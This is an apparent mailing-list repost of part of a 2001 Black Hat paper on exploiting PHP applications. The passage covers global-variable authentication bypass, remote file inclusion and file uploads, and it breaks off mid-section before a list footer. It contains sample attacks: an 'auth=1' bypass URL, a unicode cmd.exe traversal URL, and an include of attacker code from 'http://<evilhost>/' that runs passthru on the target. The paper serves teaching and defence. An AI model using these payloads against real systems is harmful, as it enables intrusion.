<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
A Study In Scarlet
Exploiting Common Vulnerabilities in PHP Applications
Shaun
Clowes
SecureReality
"A reprint of reminisces from the Blackhat Briefings Asia 2001"
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
--- < Table of Contents >
--------------------------------------------------
1. Introduction
2. Caveats and Scope
3. Global Variables
4. Remote Files
5. File Upload
6. Library Files
7. Session Files
8. Loose Typing And Associative Arrays
9. Target Functions
10. Protecting PHP
11. Responsibility - Language vs Programmer
12. Other
"I could imagine his giving a friend a little pinch of the latest
vegetable
alkaloid, not out of malevolence, you understand, but simply out of a
spirit
of inquiry in order to have an accurate idea of the effects." - Stamford
--- < 1. Introduction >
----------------------------------------------------
This paper is based on my speech during the Blackhat briefings in
Singapore
and Hong Kong in April 2001. The speech was entitled "Breaking In Through
the Front Door - The impact of Web Applications and Application Service
Provision on Traditional Security Models". It initially discussed the
trend
towards Web Applications (and ASP) and the holes in traditional security
methodology exposed by this trend. However, that's a long and boring
discussion so I'll save it for the policy makers.
The rest of the speech was spent talking about PHP. For those reading this
paper who don't know what PHP is, PHP stands for "PHP Hypertext
Preprocessor". It's a programming language (designed specifically for the
Web) in which PHP code is embedded in web pages. When a client requests a
page, the Web Server first passes the page to the language interpreter so
the code can be executed, the resulting page is then returned to the
client.
Obviously this approach is much more suited to the page by page nature of
web transactions than traditional CGI languages such as Perl and C. PHP
(and
to some extent other Web Languages) has the following characteristics:
+ Interpreted
+ Fast Execution - The interpreter is embedded in the web server, no
fork()
or setup overhead
+ Feature Rich - Hundreds of non trivial builtin functions
+ Simple Syntax - Non declared and loosely typed variables, 'wordy'
function names
Over the course of this paper I'm going to try to explain why I feel the
last two characteristics make applications written in PHP easy to attack
and
hard to defend. Then I'll finish off with a rant about distribution of
'blame' when it comes to software security.
"You must study him, then ... you'll find him a knotty problem, though.
I'll
wager he learns more about you than you about him." - Stamford
--- < 2. Caveats and Scope >
-----------------------------------------------
Almost all the observations in this paper refer to a default install of
PHP
4.0.4pl1 (with MySQL, PostgreSQL, IMAP and OpenSSL support enabled)
running
as a module under Apache 1.3.19 on a Linux machine. This of course means
that your mileage may vary, in particular, there have been many many
versions of PHP and they sometimes exhibit vastly different behaviour
given
the same input.
Also, proponents of PHP tend to defend the language based on its extreme
configurability. I feel very confident the vast majority of users will not
modify the default PHP configuration at all, lest some of the amazing
array
of freely available PHP software stop working. Thus I don't feel pressured
to defend my position based on configuration options, nonetheless I've
included a section about how to go defending PHP applications using these
configuration options.
Finally, some people deride this kind of work as 'trivial' or 'obvious',
particularly since I won't be discussing any specific vulnerabilities in
particular pieces of PHP software. To prove the risks are real and that
even
programmer's that try hard fall into these traps 4 detailed advisories in
regards to specific pieces of vulnerable software will be released shortly
after this paper.
"I have to be careful ... for I dabble with poisons a good deal." -
Sherlock
Holmes
--- < 3. Global Variables >
------------------------------------------------
As mentioned earlier, variables in PHP don't have to be declared, they're
automatically created the first time they are used. Nor are they
specifically typed, they're typed automatically based on the context in
which they are used. This is an extremely convenient way to do things from
a
programmer's perspective (and is obviously a useful feature in a rapid
application development language). Once a variable is created it can be
referenced anywhere in the program (except in functions where it must be
explicitly included in the namespace with the 'global' function). The
result
of these characteristics is that variables are rarely initialized by the
programmer, after all, when they're first created they are empty (i.e "").
Obviously the main function of a PHP based web application is usually to
take in some client input (form variables, uploaded files, cookies etc),
process the input and return output based on that input. In order to make
it
as simple as possible for the PHP script to access this input, it's
actually
provided in the form of PHP global variables. Take the following example
HTML snippet:
<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>
Obviously this will display a text box and a submit button. When the user
presses the submit button the PHP script test.php will be run to process
the
input. When it runs the variable $hello will contain the text the user
entered into the text box. It's important to note the implications of
this,
this means that a remote attacker can create any variable they wish and
have
it declared in the global namespace. If instead of using the form above to
call test.php, an attacker calls it directly with a url like
"http://server/test.php?hello=hi&setup=no", not only will $hello = "hi"
when
the script is run but $setup will be "no" also.
An example of how this can be a real problem might be a script that was
designed to authenticate a user before displaying some important
information. For example:
<?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>
In normal operation the above code will check the password to decide if
the
remote user has successfully authenticated then later check if they are
authenticated and show them the important information. The problem is that
the code incorrectly assumes that the variable $auth will be empty unless
it
sets it. Remembering that an attacker can create variables in the global
namespace, a url like 'http://server/test.php?auth=1' will fail the
password
check but the script will still believe the attacker has successfully
authenticated.
To summarize the above, a PHP script _cannot trust ANY variable it has not
EXPLICITLY set_. When you've got a rather large number of variables, this
can be a much harder task than it may sound.
Once common approach to protecting a script is to check that the variable
is
not in the array HTTP_GET/POST_VARS[] (depending on the method normally
used
to submit the form, GET or POST). When PHP is configured with track_vars
enabled (as it is by default) variables submitted by the user are
available
both from the global variables and also as elements in the arrays
mentioned
above. However, it's important to note that there are FOUR different
arrays
for remote user input, HTTP_GET_VARS for variables submitted in the URL of
the get request, HTTP_POST_VARS for variables submitted in the post
section
of a HTTP request, HTTP_COOKIE_VARS for variables submitted as part of the
cookie headers in the HTTP request and to a limited degree the
HTTP_POST_FILES array (in more recent versions of PHP). It is completely
the
end users choice which method they use to submit variables, one request
can
easily place variables in all four different arrays, a secure script needs
to check all four (though again, the HTTP_POST_FILES array shouldn't be an
issue except in exceptional circumstances).
"No man burdens his mind with small matters unless he has some very good
reason for doing so." - John Watson
--- < 4. Remote Files >
----------------------------------------------------
I'm going to repeat this frequently during this document but it bears
repeating, PHP is an extremely feature rich language. It ships with an
amazing amount of functionality out of the box and tries hard to make life
as easy as possible for the coder (or web designer as the case so often
is).
>From a security perspective, the more superfluous functionality offered by
a
language and the less intuitive the possibilities, the more difficult it
is
to secure applications written in it. An excellent example of this is the
Remote Files functionality of PHP.
The following piece of PHP code is designed to open a file:
<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename<BR>\n");
?>
The code attempts to open the file specified in the variable $filename for
reading and if it fails displays an error. Obviously this could be a
simple
security issue if the user can set $filename and get the script to expose
/etc/passwd for example but one non intuitive this code could end up doing
is reading data from another web/ftp site. The remote files functionality
means that the majority of PHPs file handling functions can work
transparently on remote files via HTTP and FTP. If $filename were to
contain
(for example)
"http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir" PHP will
actually make a HTTP request to the server "target", in this case trying
to
exploit the unicode flaw.
This gets more interesting in the context of four other file functions
that
support remote file functionality (*** except under Windows ***),
include(),
require(), include_once() and require_once(). These functions take in a
filename and read that file and parse it as PHP code. They're typically
used
to support the concept of code libraries, where common bits of PHP code
are
stored in files and included as needed. Now take the following piece of
code:
<?php
include($libdir . "/languages.php");
?>
Presumably $libdir is a configuration variable that is meant to be set
earlier in script execution to the directory where the library files are
stored. If the attacker can cause the variable not to be set the script
(which is typically not a tremendously difficult task) and instead submit
it
themselves they can modify the start of the path. This would normally gain
them nothing since they still end up only being able to access
languages.php
in a directory of their choosing (poison null attacks like those possible
on
Perl don't work under PHP) but with remote files the attack can submit any
code they wish to be executed. For example, if the attacker places a file
on
a web server called languages.php containing the following:
<?php
passthru("/bin/ls /etc");
?>
then sets $libdir to "http://<evilhost>/" upon encountering the include
statement PHP will make a HTTP request to evilhost, retrieve the attackers
code and execute it, returning a listing of /etc to the attackers web
browser. Note that the attacking webserver (evilhost) can't be running PHP
or the code will be run on the attacking machine rather than the target
machine (see the "Other" section and its reference to SRADV00006 for an
example of code which survives being on a PHP enabled attacking machine).
"There are no crimes and no criminals in these days" - Sherlock Holmes
--- < 5. File Upload >
-----------------------------------------------------
As if PHP hadn't already provided enough to make life easier for the
attacker the language provides automatic support for RFC 1867 based file
upload. Take the following form:
<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>
This form will allow the web browser user to select a file from their
local
machine then when they click submit the file will be uploaded to the
remote
web server. This is obviously useful functionality but is PHPs response
that
makes this dangerous. When PHP first receives the request, before it has
even BEGUN to parse the PHP script being called it will automatically
receive the file from the remote user, it will then check that the file is
no larger than specified in the $MAX_FILE_SIZE variable (10 kb in this
case)
and the maximum file size set in the PHP configuration file, if it passes
these tests the file is SAVED on the local disk in a temporary directory.
Please read that again if that doesn't make you blink, a remote user can
send any file they wish to a PHP enabled machine and before a script has
even specified whether or not it accepts file uploads that file is SAVED
on
the local disk.
I'm going to ignore any resource exhaustion attacks that may or may not be
possible using file upload functionality, I think they're fairly limited
if
not impossible in any case.
First let's consider a script that IS designed to receive file uploads. As
described above the file is received and saved on the local disk (in the
location specified in the configuration for uploaded files, typically
/tmp)
with a random filename (e.g "phpxXuoXG"). The PHP script then needs
information regarding the uploaded file to be able to process it. This is
actually provided in two different ways, one has been in use since early
versions of PHP 3, the other was introduced following our Advisory
regarding
the issue I'm about to describe with the former method. Suffice to say the
problem is still alive and well, most scripts continue to use the old
method. PHP sets four global variables to describe the uploaded file, for
example (given the upload form above):
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
--
-------------------------------------------------------------------
Petrica Nanca OBIECTIV - Vocea Sucevei
System Administrator http://www.obiectiv.ro
-------------------------------------------------------------------
__________________________________________________________
Send 'unsubscribe rofug' to [EMAIL PROTECTED] to unsubscribe